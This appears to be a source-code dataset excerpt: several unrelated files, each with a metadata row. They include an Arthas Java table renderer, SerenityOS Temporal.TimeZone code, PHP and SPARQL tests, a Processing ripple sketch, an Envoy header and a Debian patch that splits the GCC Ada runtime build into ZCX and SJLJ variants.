final String paddingChar = StringUtils.repeat(" ", padding);
segmentSB.append(format(borderChar + paddingChar + dataFormat + paddingChar, data));
}
if (isLastColOfRow) {
segmentSB.append(borderChar).append("\n");
}
}
if (hasNext) {
rowSB.append(segmentSB);
}
} while (hasNext);
return rowSB.toString();
} finally {
for (Scanner scanner : scannerArray) {
if (null != scanner) {
scanner.close();
}
}
}
}
private String getData(int rowIndex, ColumnDefine columnDefine) {
return columnDefine.getHigh() <= rowIndex
? Constants.EMPTY_STRING
: columnDefine.dataList.get(rowIndex);
}
private String getDataFormat(ColumnDefine columnDefine, int width) {
switch (columnDefine.align) {
case RIGHT: {
return "%" + width + "s";
}
case LEFT:
default: {
return "%-" + width + "s";
}
}
}
/*
* 获取表格高度
*/
private int getTableHigh() {
int tableHigh = 0;
for (ColumnDefine columnDefine : columnDefineArray) {
tableHigh = max(tableHigh, columnDefine.getHigh());
}
return tableHigh;
}
/*
* 打印分隔行
*/
private String drawSeparationLine(int[] widthCacheArray) {
final StringBuilder separationLineSB = new StringBuilder();
for (int width : widthCacheArray) {
if (width > 0) {
separationLineSB.append("+").append(StringUtils.repeat("-", width + 2 * padding));
}
}
return separationLineSB
.append("+")
.toString();
}
/**
* 添加数据行
*
* @param columnDataArray 数据数组
*/
public TableView addRow(Object... columnDataArray) {
if (null == columnDataArray) {
return this;
}
for (int index = 0; index < columnDefineArray.length; index++) {
final ColumnDefine columnDefine = columnDefineArray[index];
if (index < columnDataArray.length
&& null != columnDataArray[index]) {
columnDefine.dataList.add(StringUtils.replace(columnDataArray[index].toString(), "\t", " "));
} else {
columnDefine.dataList.add(Constants.EMPTY_STRING);
}
}
return this;
}
/**
* 对齐方向
*/
public enum Align {
LEFT,
RIGHT
}
/**
* 列定义
*/
public static class ColumnDefine {
private final int width;
private final boolean isAutoResize;
private final Align align;
private final List<String> dataList = new ArrayList<String>();
public ColumnDefine(int width, boolean isAutoResize, Align align) {
this.width = width;
this.isAutoResize = isAutoResize;
this.align = align;
}
public ColumnDefine(Align align) {
this(0, true, align);
}
public ColumnDefine() {
this(Align.LEFT);
}
/**
* 获取当前列的宽度
*
* @return 宽度
*/
public int getWidth() {
if (!isAutoResize) {
return width;
}
int maxWidth = 0;
for (String data : dataList) {
final Scanner scanner = new Scanner(new StringReader(data));
try {
while (scanner.hasNext()) {
maxWidth = max(StringUtils.length(scanner.nextLine()), maxWidth);
}
} finally {
scanner.close();
}
}
return maxWidth;
}
/**
* 获取当前列的高度
*
* @return 高度
*/
public int getHigh() {
return dataList.size();
}
}
/**
* 设置是否画边框
*
* @param hasBorder true / false
*/
public TableView hasBorder(boolean hasBorder) {
this.hasBorder = hasBorder;
return this;
}
/**
* 是否画边框
*
* @return true / false
*/
public boolean hasBorder() {
return hasBorder;
}
/**
* 设置内边距大小
*
* @param padding 内边距
*/
public TableView padding(int padding) {
this.padding = padding;
return this;
}
/**
* 获取表格列总数
*
* @return 表格列总数
*/
public int getColumnCount() {
return columnDefineArray.length;
}
}
| Java | 5 | weihubeats/arthas | core/src/main/java/com/taobao/arthas/core/view/TableView.java | [
"Apache-2.0"
] |
const otherFile = fn() {
println("Hello from ", _FILE)
}
return otherFile
| Inform 7 | 2 | lfkeitel/nitrogen | examples/fileset/another.ni | [
"BSD-3-Clause"
] |
/*
* Copyright (c) 2021, Linus Groh <linusg@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibJS/Runtime/GlobalObject.h>
#include <LibJS/Runtime/Temporal/TimeZone.h>
#include <LibJS/Runtime/Temporal/TimeZoneConstructor.h>
namespace JS::Temporal {
// 11.2 The Temporal.TimeZone Constructor, https://tc39.es/proposal-temporal/#sec-temporal-timezone-constructor
TimeZoneConstructor::TimeZoneConstructor(GlobalObject& global_object)
: NativeFunction(vm().names.TimeZone.as_string(), *global_object.function_prototype())
{
}
void TimeZoneConstructor::initialize(GlobalObject& global_object)
{
NativeFunction::initialize(global_object);
auto& vm = this->vm();
// 11.3.1 Temporal.TimeZone.prototype, https://tc39.es/proposal-temporal/#sec-temporal-timezone-prototype
define_direct_property(vm.names.prototype, global_object.temporal_time_zone_prototype(), 0);
u8 attr = Attribute::Writable | Attribute::Configurable;
define_native_function(vm.names.from, from, 1, attr);
define_direct_property(vm.names.length, Value(1), Attribute::Configurable);
}
// 11.2.1 Temporal.TimeZone ( identifier ), https://tc39.es/proposal-temporal/#sec-temporal.timezone
ThrowCompletionOr<Value> TimeZoneConstructor::call()
{
auto& vm = this->vm();
// 1. If NewTarget is undefined, then
// a. Throw a TypeError exception.
return vm.throw_completion<TypeError>(global_object(), ErrorType::ConstructorWithoutNew, "Temporal.TimeZone");
}
// 11.2.1 Temporal.TimeZone ( identifier ), https://tc39.es/proposal-temporal/#sec-temporal.timezone
ThrowCompletionOr<Object*> TimeZoneConstructor::construct(FunctionObject& new_target)
{
auto& vm = this->vm();
auto& global_object = this->global_object();
// 2. Set identifier to ? ToString(identifier).
auto identifier = TRY(vm.argument(0).to_string(global_object));
String canonical;
// 3. If identifier satisfies the syntax of a TimeZoneNumericUTCOffset (see 13.33), then
if (is_valid_time_zone_numeric_utc_offset_syntax(identifier)) {
// a. Let offsetNanoseconds be ? ParseTimeZoneOffsetString(identifier).
auto offset_nanoseconds = TRY(parse_time_zone_offset_string(global_object, identifier));
// b. Let canonical be ! FormatTimeZoneOffsetString(offsetNanoseconds).
canonical = format_time_zone_offset_string(offset_nanoseconds);
}
// 4. Else,
else {
// a. If ! IsValidTimeZoneName(identifier) is false, then
if (!is_valid_time_zone_name(identifier)) {
// i. Throw a RangeError exception.
return vm.throw_completion<RangeError>(global_object, ErrorType::TemporalInvalidTimeZoneName);
}
// b. Let canonical be ! CanonicalizeTimeZoneName(identifier).
canonical = canonicalize_time_zone_name(identifier);
}
// 5. Return ? CreateTemporalTimeZone(canonical, NewTarget).
return TRY(create_temporal_time_zone(global_object, canonical, &new_target));
}
// 11.3.2 Temporal.TimeZone.from ( item ), https://tc39.es/proposal-temporal/#sec-temporal.timezone.from
JS_DEFINE_NATIVE_FUNCTION(TimeZoneConstructor::from)
{
auto item = vm.argument(0);
// 1. Return ? ToTemporalTimeZone(item).
return TRY(to_temporal_time_zone(global_object, item));
}
}
| C++ | 5 | r00ster91/serenity | Userland/Libraries/LibJS/Runtime/Temporal/TimeZoneConstructor.cpp | [
"BSD-2-Clause"
] |
PREFIX : <>
SELECT *
WHERE { : : : . }
| SPARQL | 1 | alpano-unibz/ontop | test/sparql-compliance/src/test/resources/testcases-dawg/data-r2/syntax-sparql1/syntax-qname-05.rq | [
"Apache-2.0"
] |
func() { (1, "bob") }
t : func()
a := t.item1
b := t.item2
(a=, b=copy) func()
(c:, d:copy) func()
(e:=, f:=) (1.0, 4) | Objective-J | 1 | justinmann/sj | tests/tuple1.sj | [
"Apache-2.0"
] |
// Daniel Shiffman
// http://codingtra.in
// http://patreon.com/codingtrain
// 2D Water Ripples
// Video: https://youtu.be/BZUdGqeOD0w
// Algorithm: https://web.archive.org/web/20160418004149/http://freespace.virgin.net/hugo.elias/graphics/x_water.htm
int cols;
int rows;
float[][] current;// = new float[cols][rows];
float[][] previous;// = new float[cols][rows];
float dampening = 0.99;
void setup() {
size(600, 400);
cols = width;
rows = height;
current = new float[cols][rows];
previous = new float[cols][rows];
}
void mouseDragged() {
previous[mouseX][mouseY] = 500;
}
void draw() {
background(0);
loadPixels();
for (int i = 1; i < cols-1; i++) {
for (int j = 1; j < rows-1; j++) {
current[i][j] = (
previous[i-1][j] +
previous[i+1][j] +
previous[i][j-1] +
previous[i][j+1]) / 2 -
current[i][j];
current[i][j] = current[i][j] * dampening;
int index = i + j * cols;
pixels[index] = color(current[i][j]);
}
}
updatePixels();
float[][] temp = previous;
previous = current;
current = temp;
} | Processing | 5 | aerinkayne/website | CodingChallenges/CC_102_WaterRipples/Processing/CC_102_WaterRipples/CC_102_WaterRipples.pde | [
"MIT"
] |
--TEST--
Proper source duplication on assignment to typed property
--FILE--
<?php
class Foo {
public int $bar;
}
$foo = new Foo();
for ($i = 0; $i < 5; $i++) {
$foo->bar = "5";
var_dump($foo->bar);
}
?>
--EXPECT--
int(5)
int(5)
int(5)
int(5)
int(5)
| PHP | 2 | thiagooak/php-src | Zend/tests/type_declarations/typed_properties_042.phpt | [
"PHP-3.01"
] |
set(CMAKE_SYSTEM_PROCESSOR riscv64)
set(GNU_MACHINE riscv64-linux-gnu CACHE STRING "GNU compiler triple")
set(GCC_COMPILER_VERSION "" CACHE STRING "GCC Compiler version")
include("${CMAKE_CURRENT_LIST_DIR}/riscv.toolchain.cmake")
| CMake | 2 | artun3e/opencv | platforms/linux/riscv64-gnu.toolchain.cmake | [
"BSD-3-Clause"
] |
#pragma once
#include "envoy/network/address.h"
#include "absl/types/optional.h"
namespace Envoy {
namespace Udp {
/**
* Hash policy for UDP transport layer protocol.
*/
class HashPolicy {
public:
virtual ~HashPolicy() = default;
/**
* @param downstream_address is the address of the peer client.
* @return absl::optional<uint64_t> an optional hash value to route on. A hash value might not be
* returned if for example the downstream address has a unix domain socket type.
*/
virtual absl::optional<uint64_t>
generateHash(const Network::Address::Instance& downstream_address) const PURE;
};
} // namespace Udp
} // namespace Envoy
| C | 4 | dcillera/envoy | envoy/udp/hash_policy.h | [
"Apache-2.0"
] |
--TEST--
Test socket_set_block return values
--EXTENSIONS--
sockets
--FILE--
<?php
$socket = socket_create_listen(0);
var_dump(socket_set_block($socket));
socket_close($socket);
$socket2 = socket_create_listen(0);
socket_close($socket2);
try {
var_dump(socket_set_block($socket2));
} catch (Error $e) {
echo $e->getMessage(), "\n";
}
?>
--EXPECT--
bool(true)
socket_set_block(): Argument #1 ($socket) has already been closed
| PHP | 3 | NathanFreeman/php-src | ext/sockets/tests/socket_set_block-retval.phpt | [
"PHP-3.01"
] |
#! /bin/sh -e
# DP: There are two exception mechanisms to choose from: zero-cost and
# DP: setjump/longjump. The Ada run-time library uses either of them
# DP: but not both. Build both versions of the run-time library.
# This patch changes the way the upstream Makefiles build the run-time
# library. Before the patch: libada/Makefile calls gcc/ada/Makefile,
# which builds the "rts" subdirectory containing symbolic links to
# most source files, and modified copies of a few source files (to
# take target dependencies into account, and also to select the
# exception handling mechanism in system.ads). Then, gcc/ada/Makefile
# calls itself recursively but in the "rts" subdirectory and builds
# libgnat.a and libgnarl.a (and a couple other libraries:
# libgccprefix.a, libgmem.a). Upon return from this recursive call,
# it deletes the source and object files from "rts", reconstructs the
# source files, and builds libgnat.so and libgnarl.so by calling
# itself recursively a second time in the "rts" directory.
# Furthermore, gcc/ada/Makefile disables parallel makes, so building
# the static and then shared versions of the RTS is entirely
# sequential even on SMP systems.
# As a consequence of the above, building the SJLJ version of the
# library would overwrite the ZCX version. Thus it is necessary to
# manually save the previous version of the library before building the
# second one.
# After the patch: libada/Makefile calls gcc/ada/Makefile, which
# builds the source directory (named gnatlib-sources instead of rts),
# containing the symbolic links and target-dependent files.
# In a second step, libada/Makefile calls gcc/ada/Makefile again to
# build the targets gnatlib-shared-zcx, gnatlib-static-zcx and
# gnatlib-static-sjlj (we could also build gnatlib-shared-sjlj, but
# that triggers compiler errors on PowerPC).
# Each of these three targets copies the source directory "rts" into a
# new directory named rts-shared-zcx, rts-static-zcx or
# rts-static-sjlj. In the new directory, they change the value of
# System.ZCX_By_Default, and then they call gcc/ada/Makefile
# recursively in the new directory to build the library.
# gcc/ada/Makefile.in has a .NOTPARALLEL directive preventing it from
# launching commands in parallel. However, libada/Makefile has no
# such directive and can invoke up to three instances of
# gcc/ada/Makefile.in in parallel. This is okay because each of them
# runs in a different directory.
# This patch also updates libgnat{vsn,prj}/Makefile and
# gnattools/Makefile to look for the shared ZCX version of the library
# in the appropriate directory, rather than just "rts", and updates
# the "make install" and binary targets as well.
dir=
if [ $# -eq 3 -a "$2" = '-d' ]; then
pdir="-d $3"
dir="$3/"
elif [ $# -ne 1 ]; then
echo >&2 "`basename $0`: script expects -patch|-unpatch as argument"
exit 1
fi
case "$1" in
-patch)
patch $pdir -f --no-backup-if-mismatch -p1 < $0
;;
-unpatch)
patch $pdir -f --no-backup-if-mismatch -R -p1 < $0
;;
*)
echo >&2 "`basename $0`: script expects -patch|-unpatch as argument"
exit 1
esac
exit 0
Index: src/libada/Makefile.in
===================================================================
--- src.orig/libada/Makefile.in
+++ src/libada/Makefile.in
@@ -16,7 +16,8 @@
# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
# Default target; must be first.
-all: gnatlib
+GNATLIB = gnatlib-static-zcx gnatlib-static-sjlj gnatlib-shared-zcx
+all: $(GNATLIB)
# Standard autoconf-set variables.
SHELL = @SHELL@
@@ -78,30 +79,38 @@
"CFLAGS=$(CFLAGS) $(WARN_CFLAGS)"
# Rules to build gnatlib.
-.PHONY: gnatlib gnatlib-plain gnatlib-sjlj gnatlib-zcx gnatlib-shared
-gnatlib: @default_gnatlib_target@
+.PHONY: $(GNATLIB)
-gnatlib-plain: $(GCC_DIR)/ada/Makefile
- test -f stamp-libada || \
+$(GCC_DIR)/ada/gnatlib-sources-sjlj/a-except.ads:
$(MAKE) -C $(GCC_DIR)/ada $(FLAGS_TO_PASS) \
GNATLIBFLAGS="$(GNATLIBFLAGS)" \
GNATLIBCFLAGS="$(GNATLIBCFLAGS)" \
TARGET_LIBGCC2_CFLAGS="$(TARGET_LIBGCC2_CFLAGS)" \
THREAD_KIND="$(THREAD_KIND)" \
TRACE="$(TRACE)" \
- gnatlib \
- && touch stamp-libada
+ EH_MECHANISM="" \
+ gnatlib-sources-sjlj/a-except.ads
-gnatlib-sjlj gnatlib-zcx gnatlib-shared: $(GCC_DIR)/ada/Makefile
- test -f stamp-libada || \
+$(GCC_DIR)/ada/gnatlib-sources-zcx/a-except.ads:
$(MAKE) -C $(GCC_DIR)/ada $(FLAGS_TO_PASS) \
GNATLIBFLAGS="$(GNATLIBFLAGS)" \
GNATLIBCFLAGS="$(GNATLIBCFLAGS)" \
TARGET_LIBGCC2_CFLAGS="$(TARGET_LIBGCC2_CFLAGS)" \
THREAD_KIND="$(THREAD_KIND)" \
TRACE="$(TRACE)" \
- $@ \
- && touch stamp-libada
+ EH_MECHANISM="-gcc" \
+ gnatlib-sources-zcx/a-except.ads
+
+$(GNATLIB): $(GCC_DIR)/ada/Makefile \
+$(GCC_DIR)/ada/gnatlib-sources-zcx/a-except.ads \
+$(GCC_DIR)/ada/gnatlib-sources-sjlj/a-except.ads
+ $(MAKE) -C $(GCC_DIR)/ada $(FLAGS_TO_PASS) \
+ GNATLIBFLAGS="$(GNATLIBFLAGS)" \
+ GNATLIBCFLAGS="$(GNATLIBCFLAGS)" \
+ TARGET_LIBGCC2_CFLAGS="$(TARGET_LIBGCC2_CFLAGS)" \
+ THREAD_KIND="$(THREAD_KIND)" \
+ TRACE="$(TRACE)" \
+ $@
# Check uninstalled version.
check:
Index: src/libada/configure
===================================================================
--- src.orig/libada/configure
+++ src/libada/configure
@@ -1552,17 +1552,6 @@
*) x_ada_cflags= ;;
esac
-
-# Determine what to build for 'gnatlib'
-if test $build = $target \
- && test ${enable_shared} = yes ; then
- # Note that build=target is almost certainly the wrong test; FIXME
- default_gnatlib_target="gnatlib-shared"
-else
- default_gnatlib_target="gnatlib-plain"
-fi
-
-
# Output: create a Makefile.
ac_config_files="$ac_config_files Makefile"
@@ -2222,7 +2211,6 @@
s,@enable_shared@,$enable_shared,;t t
s,@LN_S@,$LN_S,;t t
s,@x_ada_cflags@,$x_ada_cflags,;t t
-s,@default_gnatlib_target@,$default_gnatlib_target,;t t
s,@LIBOBJS@,$LIBOBJS,;t t
s,@LTLIBOBJS@,$LTLIBOBJS,;t t
CEOF
Index: src/gcc/ada/Makefile.in
===================================================================
--- src.orig/gcc/ada/Makefile.in
+++ src/gcc/ada/Makefile.in
@@ -1324,6 +1324,50 @@
LIBRARY_VERSION := $(LIB_VERSION)
endif
+ifeq ($(strip $(filter-out mips linux%,$(arch) $(osys))),)
+ LIBGNAT_TARGET_PAIRS = \
+ a-intnam.ads<a-intnam-linux.ads \
+ g-soccon.ads<g-soccon-linux-mips.ads \
+ s-inmaop.adb<s-inmaop-posix.adb \
+ s-intman.adb<s-intman-posix.adb \
+ s-osinte.adb<s-osinte-posix.adb \
+ s-osinte.ads<s-osinte-linux.ads \
+ s-osprim.adb<s-osprim-posix.adb \
+ s-taprop.adb<s-taprop-linux.adb \
+ s-taspri.ads<s-taspri-posix.ads \
+ s-tpopsp.adb<s-tpopsp-posix-foreign.adb \
+ system.ads<system-linux-mips.ads
+
+ EH_MECHANISM=-gcc
+ THREADSLIB = -lpthread
+ GNATLIB_SHARED = gnatlib-shared-dual
+ GMEM_LIB = gmemlib
+ PREFIX_OBJS = $(PREFIX_REAL_OBJS)
+ LIBRARY_VERSION := $(LIB_VERSION)
+endif
+
+ifeq ($(strip $(filter-out mipsel linux%,$(arch) $(osys))),)
+ LIBGNAT_TARGET_PAIRS = \
+ a-intnam.ads<a-intnam-linux.ads \
+ g-soccon.ads<g-soccon-linux-mips.ads \
+ s-inmaop.adb<s-inmaop-posix.adb \
+ s-intman.adb<s-intman-posix.adb \
+ s-osinte.adb<s-osinte-posix.adb \
+ s-osinte.ads<s-osinte-linux.ads \
+ s-osprim.adb<s-osprim-posix.adb \
+ s-taprop.adb<s-taprop-linux.adb \
+ s-taspri.ads<s-taspri-posix.ads \
+ s-tpopsp.adb<s-tpopsp-posix-foreign.adb \
+ system.ads<system-linux-mipsel.ads
+
+ EH_MECHANISM=-gcc
+ THREADSLIB = -lpthread
+ GNATLIB_SHARED = gnatlib-shared-dual
+ GMEM_LIB = gmemlib
+ PREFIX_OBJS = $(PREFIX_REAL_OBJS)
+ LIBRARY_VERSION := $(LIB_VERSION)
+endif
+
ifeq ($(strip $(filter-out sparc% linux%,$(arch) $(osys))),)
LIBGNAT_TARGET_PAIRS = \
a-intnam.ads<a-intnam-linux.ads \
@@ -1563,53 +1607,79 @@
a-[a-o]*.adb a-[p-z]*.adb a-[a-o]*.ads a-[p-z]*.ads g-*.ad? i-*.ad? \
s-[a-o]*.adb s-[p-z]*.adb s-[a-o]*.ads s-[p-z]*.ads
-../stamp-gnatlib:
- @if [ ! -f stamp-gnatlib ] ; \
- then \
- $(ECHO) You must first build the GNAT library: make gnatlib; \
- false; \
- else \
- true; \
- fi
+libgnat = libgnat$(hyphen)$(LIBRARY_VERSION)$(soext)
+libgnat-sjlj = libgnat$(hyphen)sjlj$(hyphen)$(LIBRARY_VERSION)$(soext)
-install-gnatlib: ../stamp-gnatlib
+install-gnatlib: rts-static-zcx/libgnat$(arext) rts-static-sjlj/libgnat$(arext)
+install-gnatlib: rts-shared-zcx/$(libgnat)
# Create the directory before deleting it, in case the directory is
# a list of directories (as it may be on VMS). This ensures we are
# deleting the right one.
- -$(MKDIR) $(DESTDIR)$(ADA_RTL_OBJ_DIR)
- -$(MKDIR) $(DESTDIR)$(ADA_INCLUDE_DIR)
- $(RMDIR) $(DESTDIR)$(ADA_RTL_OBJ_DIR)
- $(RMDIR) $(DESTDIR)$(ADA_INCLUDE_DIR)
- -$(MKDIR) $(DESTDIR)$(ADA_RTL_OBJ_DIR)
- -$(MKDIR) $(DESTDIR)$(ADA_INCLUDE_DIR)
- for file in rts/*.ali; do \
- $(INSTALL_DATA_DATE) $$file $(DESTDIR)$(ADA_RTL_OBJ_DIR); \
+ -$(MKDIR) $(DESTDIR)$(ADA_NATIVE_RTL_OBJ_DIR)
+ -$(MKDIR) $(DESTDIR)$(ADA_NATIVE_INCLUDE_DIR)
+ $(RMDIR) $(DESTDIR)$(ADA_NATIVE_RTL_OBJ_DIR)
+ $(RMDIR) $(DESTDIR)$(ADA_NATIVE_INCLUDE_DIR)
+ -$(MKDIR) $(DESTDIR)$(ADA_NATIVE_RTL_OBJ_DIR)
+ -$(MKDIR) $(DESTDIR)$(ADA_NATIVE_INCLUDE_DIR)
+
+ -$(MKDIR) $(DESTDIR)$(ADA_SJLJ_RTL_OBJ_DIR)
+ -$(MKDIR) $(DESTDIR)$(ADA_SJLJ_INCLUDE_DIR)
+ $(RMDIR) $(DESTDIR)$(ADA_SJLJ_RTL_OBJ_DIR)
+ $(RMDIR) $(DESTDIR)$(ADA_SJLJ_INCLUDE_DIR)
+ -$(MKDIR) $(DESTDIR)$(ADA_SJLJ_RTL_OBJ_DIR)
+ -$(MKDIR) $(DESTDIR)$(ADA_SJLJ_INCLUDE_DIR)
+
+ for file in rts-shared-zcx/*.ali; do \
+ $(INSTALL_DATA_DATE) $$file $(DESTDIR)$(ADA_NATIVE_RTL_OBJ_DIR); \
+ done
+ for file in rts-static-sjlj/*.ali; do \
+ $(INSTALL_DATA_DATE) $$file $(DESTDIR)$(ADA_SJLJ_RTL_OBJ_DIR); \
+ done
+
+ -cd rts-static-zcx; for file in *$(arext);do \
+ $(INSTALL_DATA) $$file $(DESTDIR)$(ADA_NATIVE_RTL_OBJ_DIR); \
+ $(RANLIB_FOR_TARGET) $(DESTDIR)$(ADA_NATIVE_RTL_OBJ_DIR)/$$file; \
done
- -cd rts; for file in *$(arext);do \
- $(INSTALL_DATA) $$file $(DESTDIR)$(ADA_RTL_OBJ_DIR); \
- $(RANLIB_FOR_TARGET) $(DESTDIR)$(ADA_RTL_OBJ_DIR)/$$file; \
+ -cd rts-static-sjlj; for file in *$(arext);do \
+ $(INSTALL_DATA) $$file $(DESTDIR)$(ADA_SJLJ_RTL_OBJ_DIR); \
+ $(RANLIB_FOR_TARGET) $(DESTDIR)$(ADA_SJLJ_RTL_OBJ_DIR)/$$file; \
done
+
+ -$(foreach file, $(EXTRA_ADALIB_FILES), \
+ $(INSTALL_DATA_DATE) rts-static-zcx/$(file) $(DESTDIR)$(ADA_NATIVE_RTL_OBJ_DIR) && \
+ ) true
-$(foreach file, $(EXTRA_ADALIB_FILES), \
- $(INSTALL_DATA_DATE) rts/$(file) $(DESTDIR)$(ADA_RTL_OBJ_DIR) && \
+ $(INSTALL_DATA_DATE) rts-static-sjlj/$(file) $(DESTDIR)$(ADA_SJLJ_RTL_OBJ_DIR) && \
) true
+
# Install the shared libraries, if any, using $(INSTALL) instead
# of $(INSTALL_DATA). The latter may force a mode inappropriate
# for shared libraries on some targets, e.g. on HP-UX where the x
# permission is required.
for file in gnat gnarl; do \
- if [ -f rts/lib$${file}$(hyphen)$(LIBRARY_VERSION)$(soext) ]; then \
- $(INSTALL) rts/lib$${file}$(hyphen)$(LIBRARY_VERSION)$(soext).1 \
- $(DESTDIR)$(ADA_RTL_OBJ_DIR); \
+ if [ -f rts-shared-zcx/lib$${file}$(hyphen)$(LIBRARY_VERSION)$(soext).1 ]; then \
+ $(INSTALL) rts-shared-zcx/lib$${file}$(hyphen)$(LIBRARY_VERSION)$(soext).1 \
+ $(DESTDIR)$(ADA_NATIVE_RTL_OBJ_DIR); \
$(LN_S) lib$${file}$(hyphen)$(LIBRARY_VERSION)$(soext).1 \
- $(DESTDIR)$(ADA_RTL_OBJ_DIR)/lib$${file}$(hyphen)$(LIBRARY_VERSION)$(soext); \
+ $(DESTDIR)$(ADA_NATIVE_RTL_OBJ_DIR)/lib$${file}$(hyphen)$(LIBRARY_VERSION)$(soext); \
fi; \
done
+
# This copy must be done preserving the date on the original file.
- for file in rts/*.ad?; do \
- $(INSTALL_DATA_DATE) $$file $(DESTDIR)$(ADA_INCLUDE_DIR); \
+ for file in rts-shared-zcx/*.adb rts-shared-zcx/*.ads; do \
+ $(INSTALL_DATA_DATE) $$file $(DESTDIR)$(ADA_NATIVE_INCLUDE_DIR); \
+ done
+ $(CHMOD) u=rw,go=r $(DESTDIR)$(ADA_NATIVE_INCLUDE_DIR)/*.adb
+ $(CHMOD) u=rw,go=r $(DESTDIR)$(ADA_NATIVE_INCLUDE_DIR)/*.ads
+ for file in rts-static-sjlj/*.adb rts-static-sjlj/*.ads; do \
+ $(INSTALL_DATA_DATE) $$file $(DESTDIR)$(ADA_SJLJ_INCLUDE_DIR); \
done
- cd $(DESTDIR)$(ADA_INCLUDE_DIR); $(CHMOD) a-wx *.adb
- cd $(DESTDIR)$(ADA_INCLUDE_DIR); $(CHMOD) a-wx *.ads
+ $(CHMOD) u=rw,go=r $(DESTDIR)$(ADA_SJLJ_INCLUDE_DIR)/*.adb
+ $(CHMOD) u=rw,go=r $(DESTDIR)$(ADA_SJLJ_INCLUDE_DIR)/*.ads
+
+ (cd $(DESTDIR)$(libsubdir); \
+ ln -s rts-native/adainclude adainclude; \
+ ln -s rts-native/adalib adalib;)
# NOTE: The $(foreach ...) commands assume ";" is the valid separator between
# successive target commands. Although the Gnu make documentation
@@ -1620,23 +1690,30 @@
# GNULLI Begin ###########################################################
-../stamp-gnatlib1: Makefile
- $(RMDIR) rts
- $(MKDIR) rts
- $(CHMOD) u+w rts
+replace_zcx_by_default=\
+'s/ZCX_By_Default.*/ZCX_By_Default : constant Boolean := $(zcx_by_default);/'
+
+gnatlib-sources-zcx/a-except.ads: dir=$(dir $@)
+gnatlib-sources-zcx/a-except.ads: zcx_by_default=True
+
+gnatlib-sources-sjlj/a-except.ads: dir=$(dir $@)
+gnatlib-sources-sjlj/a-except.ads: zcx_by_default=False
+
+gnatlib-sources-zcx/a-except.ads gnatlib-sources-sjlj/a-except.ads:
+ $(MKDIR) $(dir)
+ $(CHMOD) u+w $(dir)
# Copy target independent sources
$(foreach f,$(ADA_INCLUDE_SRCS) $(LIBGNAT_SRCS), \
- $(LN_S) $(fsrcpfx)$(f) rts ;) true
+ $(LN_S) $(fsrcpfx)$(f) $(dir) ;) true
# Remove files to be replaced by target dependent sources
$(RM) $(foreach PAIR,$(LIBGNAT_TARGET_PAIRS), \
- rts/$(word 1,$(subst <, ,$(PAIR))))
- $(RM) rts/*-*-*.ads rts/*-*-*.adb
+ $(dir)/$(word 1,$(subst <, ,$(PAIR))))
+ $(RM) $(dir)/*-*-*.ads $(dir)/*-*-*.adb
# Copy new target dependent sources
$(foreach PAIR,$(LIBGNAT_TARGET_PAIRS), \
$(LN_S) $(fsrcpfx)$(word 2,$(subst <, ,$(PAIR))) \
- rts/$(word 1,$(subst <, ,$(PAIR)));)
- $(RM) ../stamp-gnatlib
- touch ../stamp-gnatlib1
+ $(dir)/$(word 1,$(subst <, ,$(PAIR)));)
+ sed -e $(replace_zcx_by_default) $(dir)/system.ads > $(dir)/s.ads
# GNULLI End #############################################################
@@ -1646,57 +1723,60 @@
# Example: cd rts; ar rc libfoo.a $(LONG_LIST_OF_OBJS)
# is guaranteed to overflow the buffer.
-gnatlib: ../stamp-gnatlib1
- $(MAKE) -C rts \
+%/libgnat$(arext): build_dir = $(dir $@)
+%/libgnat$(arext): libgnarl = $(subst libgnat,libgnarl,$@)
+%/libgnat$(arext): libgnala = $(subst libgnat,libgnala,$@)
+%/libgnat$(arext): %
+ $(MAKE) -C $(build_dir) \
CC="`echo \"$(GCC_FOR_TARGET)\" \
| sed -e 's,^\./xgcc,../../xgcc,' -e 's,-B\./,-B../../,'`" \
- INCLUDES="$(INCLUDES_FOR_SUBDIR) -I./../.." \
- CFLAGS="$(GNATLIBCFLAGS_FOR_C)" \
- FORCE_DEBUG_ADAFLAGS="$(FORCE_DEBUG_ADAFLAGS)" \
+ INCLUDES="$(INCLUDES_FOR_SUBDIR) -I./../.." \
+ CFLAGS="$(GNATLIBCFLAGS_FOR_C)" \
srcdir=$(fsrcdir) \
- -f ../Makefile $(LIBGNAT_OBJS)
- $(MAKE) -C rts \
+ -f ../Makefile $(LIBGNAT_OBJS)
+ $(MAKE) -C $(build_dir) \
CC="`echo \"$(GCC_FOR_TARGET)\" \
| sed -e 's,^\./xgcc,../../xgcc,' -e 's,-B\./,-B../../,'`" \
- ADA_INCLUDES="" \
- CFLAGS="$(GNATLIBCFLAGS)" \
- ADAFLAGS="$(GNATLIBFLAGS)" \
- FORCE_DEBUG_ADAFLAGS="$(FORCE_DEBUG_ADAFLAGS)" \
+ ADA_INCLUDES="" \
+ CFLAGS="$(GNATLIBCFLAGS)" \
+ ADAFLAGS="$(GNATLIBFLAGS)" \
srcdir=$(fsrcdir) \
- -f ../Makefile \
- $(GNATRTL_OBJS)
- $(RM) rts/libgnat$(arext) rts/libgnarl$(arext)
- $(AR_FOR_TARGET) $(AR_FLAGS) rts/libgnat$(arext) \
- $(addprefix rts/,$(GNATRTL_NONTASKING_OBJS) $(LIBGNAT_OBJS) g-trasym.o convert_addresses.o)
+ -f ../Makefile \
+ $(GNATRTL_OBJS)
+ $(RM) $@ $(libgnarl)
+ $(AR_FOR_TARGET) $(AR_FLAGS) $@ \
+ $(addprefix $(build_dir),$(GNATRTL_NONTASKING_OBJS) $(LIBGNAT_OBJS) g-trasym.o convert_addresses.o)
ifneq ($(PREFIX_OBJS),)
- $(AR_FOR_TARGET) $(AR_FLAGS) rts/libgccprefix$(arext) \
+ $(AR_FOR_TARGET) $(AR_FLAGS) $(build_dir)libgccprefix$(arext) \
$(PREFIX_OBJS);
- $(RANLIB_FOR_TARGET) rts/libgccprefix$(arext)
+ $(RANLIB_FOR_TARGET) $(build_dir)libgccprefix$(arext)
endif
- $(RANLIB_FOR_TARGET) rts/libgnat$(arext)
- $(AR_FOR_TARGET) $(AR_FLAGS) rts/libgnarl$(arext) \
- $(addprefix rts/,$(GNATRTL_TASKING_OBJS))
- $(RANLIB_FOR_TARGET) rts/libgnarl$(arext)
- $(AR_FOR_TARGET) $(AR_FLAGS) rts/libgnala$(arext) \
- $(addprefix rts/,$(GNATRTL_LINEARALGEBRA_OBJS))
- $(RANLIB_FOR_TARGET) rts/libgnala$(arext)
+ $(RANLIB_FOR_TARGET) $@
+ $(AR_FOR_TARGET) $(AR_FLAGS) $(libgnarl) \
